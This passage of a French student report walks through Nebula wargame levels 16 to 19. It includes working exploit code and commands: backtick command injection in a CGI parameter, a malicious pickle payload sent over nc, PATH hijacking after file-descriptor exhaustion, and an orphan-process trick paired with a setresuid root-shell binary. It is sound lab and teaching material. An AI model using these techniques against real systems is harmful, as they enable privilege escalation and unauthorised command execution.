level16@nebula : nano /tmp/level16.c
```

```
"
#include <unistd.h>
#include <stdlib.h>

int main() {
    system("getflag > /tmp/success16; id >> /tmp/success16");
    return 0;
}
"
```

Il nous reste maintenant à entrer notre fichier en tant qu'username. La première restriction qui va transformer les minuscules en majuscules va transformer notre script en "/TMP/LEVEL16", or il n'existe pas de dossier "/TMP". Pour contourner ce problème, on entrera "/*/LEVEL16". La deuxième restriction : pas d'espace, facile. Et pour la troisième restriction, on ne va pas être concerné. Voilà donc notre username final (qu'il faudra mettre en URL encode) :

"
‘/*/LEVEL16‘
"

level16@nebula : **gcc -o /tmp/LEVEL16 /tmp/level16.c**

Il nous reste à connaître le port de la connexion :

level16@nebula : **cat thttpd.conf | grep port**

"
port=1616
"

Lancons maintenant le script avec "‘/*/LEVEL16‘" qui donne "%22%60%2f*%2fLEVEL16%60%22" en encode URL :

level16@nebula : **wget -O- http://localhost:1616/index.cgi?username=%22%60%2f*%2fLEVEL16%60%22**

Et on peut maintenant récupérer nos commandes avec les droits de flag16 :

level16@nebula : **cat /tmp/success16**

"
You have successfully executed getflag on a target account
uid=983(flag16) gid=983(flag16) groups=983(flag16)
"

2.18 Level17

Commençons comme d'habitude par analyser le programme :

level17@nebula : **cd /home/flag17**
level17@nebula : **cat flag17.py**

On remarque l'utilisation d'un module connu pour être très vulnérable et sensible aux attaques : Pickle. Il n'y a pas de restriction sur les objets qui sont désérialisés. On peut donc entrer des lignes de commande au moment du chargement "obj = pickle.loads(line)". On va donc entrer la classique ligne de commande "os.system("getflag > /tmp/success17; id » /tmp/success17")" qui se transforme une fois sérialisé en :

```
"
cos
system
(S'getflag > /tmp/success17; id >> /tmp/success17'
tR.
"
```

level17@nebula : **nano /tmp/level17**

```
"
cos
system
(S'getflag > /tmp/success17; id >> /tmp/success17'
tR.
"
```

Et on lance l'attaque sur le port 10007 :

level17@nebula : **nc localhost 10007 < /tmp/level17**
ctrl + c

On peut maintenant récupérer nos commandes avec les droits de flag17 :

level17@nebula : **cat /tmp/success17**

```
"
You have successfully executed getflag on a target account
uid=982(flag17) gid=982(flag17) groups=982(flag17)
"
```

2.19 Level18

Et c'est reparti pour une analyse, mais d'un code lourd cette fois car contenant beaucoup d'option. Il y a d'ailleurs trois différentes manières de résoudre ce level, chaque manière ayant son niveau de difficulté. Au lancement, le programme prend deux arguments : "-d file" pour se connecter à l'aide un fichier log et "-v" pour le niveau de verbose. Ensuite le programme se lance et écrit le niveau de verbose dans le fichier de debug et place les privilèges EUID dans le binaire. Le programme accepte ensuite une option parmi :

- login : essaie de se connecter avec un utilisateur donné. Si le fichier "password" ne peut pas être lu, alors l'utilisateur est connecté. Explication :

  ```
  "
  if(fp) {
    ... // code nous refusant la connexion si le
        //fichier password ne contient pas le bon
        //mot de passe
  }
  "
  ```

  Donc si le fichier password n'est pas lu, fp=false et on passe outre le mot de passe, le code continue ensuite après le if(fp) pour mettre la variable globals.loggedin à 1 et nous connecter. Il semble bien qu'on tienne là la solution facile. Le problème est qu'on ne peut apparemment pas supprimer le fichier password. Alors peut on passer le fichier ./flag18 en mode debug à l'aide de gdb et mettre la variable fp à false ou globals.loggedin à 1 ? Oui mais on n'aura pas les droits de flag18. On peut encore fatiguer les descripteurs de fichiers pour qu'il n'y ait plus d'assignation au fichier password. Il semble que ce soit la solution facile.

- logout : vide les golabs.loggedin flag. Apparemment pas d'exploit possible sur cette option.

- shell : lance un shell /bin/sh. À voir comment s'en servir.

- closelog : si flag18 est utilisé avec cette option, le descripteur de fichier log se ferme et arrête les connexions. Encore une fois, à voir comment

s'en servir.

- site exec : appelle la fonction notsupported qui comporte une vulnerabilité au format string. Mais lorsque l'on essaie d'exploiter cette vulerabilité :

```
level18@nebula : echo -e site exec "%n" | /home/flag18/flag18
 -v -d /tmp/log
```

```
"
* %n in writable segment detected *
Aborted
"
```

Cela veut donc dire que le fichier est protégé. En fait, quand on effectue un ./checksec sur ce fichier, on s'aperçoit que le fichier à été compilé avec FORTIFY_SOURCE (comme vu dans le dernier cours). Retirer cette protection pour ensuite effectuer l'exploit semble être la solution difficile/moyenne.

- setuser : appelle la fonction setuser dans laquelle on peut avoir une saisie de 256 bits, et la saisie est stockées dans un buffer de 128 bits. Il y a donc un buffer overflow que l'on va s'empresser de tester :

```
level18@nebula : echo setuser `perl -e 'print "A"x200'` | /home/
flag18/flag18 -v -d /tmp/log
```

```
"
*** buffer overflow detected ***: /home/flag18/flag18
terminated
"
```

On a entré une saisie de 200 caractères mais encore une fois, une protection a été mise en place au moment de la compilation. La retirer semble être une autre solution difficile/moyenne.

BON ! Après cette longue analyse qui constitue selon moi l'épreuve principale de ce level, il reste à choisir son attaque, et évidement à la réaliser. Il serait assez masochiste de vouloir retirer l'une des deux protection, surtout avec le temps dont on dispose pour réaliser ces levels. Partons donc sur le dernier choix, la solution facile : fatiguer les descripteurs de fichiers pour qu'il n'y ait plus d'assignation au fichier password.

C'est parti ! (que ce level est long...) Commençons par effectuer un test effectuant énormément de "login" (1024 par exemple) et en utilisant "shell" et "closelog" :

```
level18@nebula : cd /home/flag18
level18@nebula : echo "`python -c 'print("login attaque\n"*1024
+ "closelog\n" + "shell")'`" | ./flag18 –rcfile -d /tmp/log
```

```
"
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
"
```

Ca marche ! On arrive à se connecter sans mot de passe en ayant surcharge le fichier password. Maintenant mettons en place l'attaque avec notre commande qui devient classique dans le fichier "Starting". Attention le fichier doit bien s'appeler "Starting" ! et les commandes doivent bien s'effectuer dans cet ordre, sans faire de faute en modifiant le PATH.

```
level18@nebula : nano /tmp/Starting
```

```
"
getflag > /tmp/success18; id >> /tmp/success18
"
```

```
level18@nebula : chmod +x /tmp/Starting
level18@nebula : export PATH=/tmp :$PATH
```

Et lancons l'attaque :

```
level18@nebula : echo "`python -c 'print("login attaque\n"*1024
+ "closelog\n" + "shell")'`" | ./flag18 –rcfile -d /tmp/log
```

On peut maintenant récupérer nos commandes avec les droits de flag18 :

```
level18@nebula : cat /tmp/success18
```

```
"
You have successfully executed getflag on a target account
uid=981(flag18) gid=981(flag18) groups=981(flag18)
"
```

2.20 Level19

Pour ce dernier level, ne changeons pas les bonnes habitudes et analysons le fichier. Le code est assez simple, si nous voulons entrer dans la condition "if(statbuf.st_uid == 0)" lançant la commande "/bin/sh", il faut que le parent de l'utilisateur lançant le fichier soit root. Il faut donc exploiter un processus orphelin : quand le parent d'un processus enfant se termine, le processus enfant reste et devient un processus orphelin et est adopte par le processus init. Donc nous allons procéder ainsi :
_ Le parent génère un processus enfant.
_ Nous tuons le processus parent, le processus enfant devient un processus orphelin.
_ Le processus init va découvrir le processus orphelin et l'adopter.
A la différence du processus parent initial, le processus init, pour notre cas, a un PID de 1, autrement son UID est 0 et il est root. Donc une fois qu'on disposera d'un processus parent avec les droits de root, le programme va directement nous lancer le shell. Preuve que notre processus init est root :

level19@nebula : **ps -ef | grep init**

```
"
root         1     0  0 09:11 ?        00:00:04
                                              /sbin/init
level19   1393  1289  0 09:14 tty1     00:00:00 grep
                                            --color=auto init
"
```

Il nous reste donc à effectuer l'attaque. On va créer un processus enfant, et tuer le processus parent avant que le programme "flag19" ne vérifie le pid du processus parent, pour qu'il ait celui du processus init.

level19@nebula : **nano /tmp/level19.c**

```
"
#include <unistd.h>

int main() {
  pid_t child = fork(); // creer un fichier enfant
  if (child == 0)       // s'il a bien ete cree et que
                        //c'est bien un fichier enfant
  {
    sleep(1);
    char *attaque[] = {"/bin/sh", "-c", "getflag >
```

```
        /tmp/success19; id >> /tmp/success19"};
    execvp("/home/flag19/flag19", attaque);
  }
  return 0;
}
"
```

level19@nebula : **gcc -o /tmp/level19 /tmp/level19.c**
level19@nebula : **/tmp/level19**

Voyons voir ce qu'on obtient :

level19@nebula : **cat /tmp/success19**

```
"
You have successfully executed getflag on a target account
uid=1020(level19) gid=1020(level19) euid=980(flag19)
groups=980(flag19),1020(level19)
"
```

Oops! Nous n'avons pas l'uid de flag19, et nous ne pouvons pas non plus utiliser la fonction "setresuid" dans ce même fichier. On va donc "tout simplement" prendre le contrôle d'un shell sur flag19.

level19@nebula : **nano /tmp/shell19.c**

```
"
#include <stdlib.h>
#include <unistd.h>

int main() {
  int euid = geteuid();
  setresuid(euid, euid, euid);
  system("/bin/bash");
  return 0;
}
"
```

level19@nebula : **nano /tmp/level19.c**

```
"
#include <unistd.h>
```

```
int main() {
  pid_t child = fork(); // creer un fichier enfant
  if (child == 0)       // s'il a bien ete cree et que
                        //c'est bien un fichier enfant
  {
    sleep(1);
    char *attaque[] = {"/bin/sh", "-c", "gcc -o /tmp/shell19
        /tmp/shell19.c; chmod +x /tmp/shell19"};
    execvp("/home/flag19/flag19", attaque);
  }
  return 0;
}
"
```

level19@nebula : **gcc -o /tmp/level19 /tmp/level19.c**
level19@nebula : **/tmp/level19**

On peut maintenant ouvrir un shell sur flag19 :

level19@nebula : **/tmp/shell19**
flag19@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag19@nebula : **id**

"980"

3 Fin du projet

3.1 Démarche à suivre

Pour bien comprendre comment nous sommes parvenu à réaliser tous ces niveaux, analysons par exemple le level15 :

- On commence tout d'abord par analyser les fichiers qui nous sont fournis.
- Ensuite on cherche à comprendre ce qu'il se passe, ce qu'ils font, comment ils fonctionnent.
- On essaye de trouver une faiblesse au code, quel qu'en soit le type.
- Une fois seulement qu'on pense avoir trouvé une attaque, on peut commencer à faire nos premiers tests. Suite à quoi on corrige, on continue les test, etc. Jusqu'à ce qu'on arrive enfin à obtenir le getflag.
- Et pour l'exemple du level15, on va encore plus loin en cherchant à prendre le contrôle du shell.

Le temps consacré à la réalisation de ce projet est proportionnel à la quantité d'informations engendrées et à la qualité des connaissances acquises. Non seulement on connait dorénavant vingts attaques, mais surtout on connait la démarche à suivre pour en réaliser de nouvelles.

3.2 Ce que l'on a appris

Mise à part la démarche à suivre et si ce n'était pas déjà le cas, nous avons pu au cours de ce projet maîtriser les différents outils/commandes :

- Changement de PATH, USER, etc.
- Lien symbolique ln.
- John the ripper.
- Envoie de requête http avec wget -O-.
- Analyse de paquet TCP avec par exemple Wireshark.
- Décryptage de clé.
- Création de librairie.
- Surcharge de fichier.
- Processus orphelin.

On a également appris comment se protéger de ces attaques et qu'il faut faire très attention lorsqu'on code : la moindre erreur peu être fatale.

4 Sources

- https ://exploit-exercises.com/nebula/
- https ://www.mattandreko.com/
- http ://louisrli.github.io/
- http ://www.kroosec.com/
- http ://uberskill.blogspot.fr/
- http ://www.pwntester.com/
- De très nombreux manpage...